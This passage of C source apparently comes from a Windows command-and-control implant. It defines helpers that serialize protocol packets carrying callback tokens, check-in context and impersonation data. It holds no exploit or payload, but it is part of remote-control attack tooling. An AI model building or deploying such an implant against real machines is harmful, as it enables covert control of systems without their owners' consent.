    ADD_OPT_STRING(app_container_sid);
    ADD_OPT_STRING(privileges);
    
    // Handle as 8-byte integer (UINT64)
    addInt64(paquete, handle);
}

// Helper function to add callback token (register/unregister token for use in tasking)
// Format: [0xF3 marker][action_len:4][action][host_len:4][host][token_id:4]
// action must be "add" or "remove"
VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_id) {
    if (!paquete || !action) {
        return;
    }
    
    // Callback token marker (0xF3)
    addByte(paquete, 0xF3);
    
    // Action length and value ("add" or "remove")
    SIZE_T action_len = strlen(action);
    addInt32(paquete, (UINT32)action_len);
    addString(paquete, action, FALSE);
    
    // Host (optional - use empty string if NULL)
    if (host) {
        SIZE_T host_len = strlen(host);
        addInt32(paquete, (UINT32)host_len);
        addString(paquete, host, FALSE);
    } else {
        addInt32(paquete, 0);
    }
    
    // Token ID
    addInt32(paquete, token_id);
}

// Helper function to add callback context (cwd, impersonation_context, etc.)
// Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]
// Can be called multiple times to add multiple fields
VOID addCallbackContext(PPaquete paquete, PCHAR field_name, PCHAR field_value) {
    if (!paquete || !field_name) {
        return;
    }
    
    // Callback context marker (0xF0) - Note: 0xF1 is CHECKIN action, so we use 0xF0
    // This marker indicates callback context data
    addByte(paquete, 0xF0);
    
    // Field name length and value (e.g., "cwd", "impersonation_context")
    SIZE_T name_len = strlen(field_name);
    addInt32(paquete, (UINT32)name_len);
    addString(paquete, field_name, FALSE);
    
    // Field value (optional - use empty string if NULL)
    if (field_value) {
        SIZE_T value_len = strlen(field_value);
        addInt32(paquete, (UINT32)value_len);
        addString(paquete, field_value, FALSE);
    } else {
        addInt32(paquete, 0);
    }
}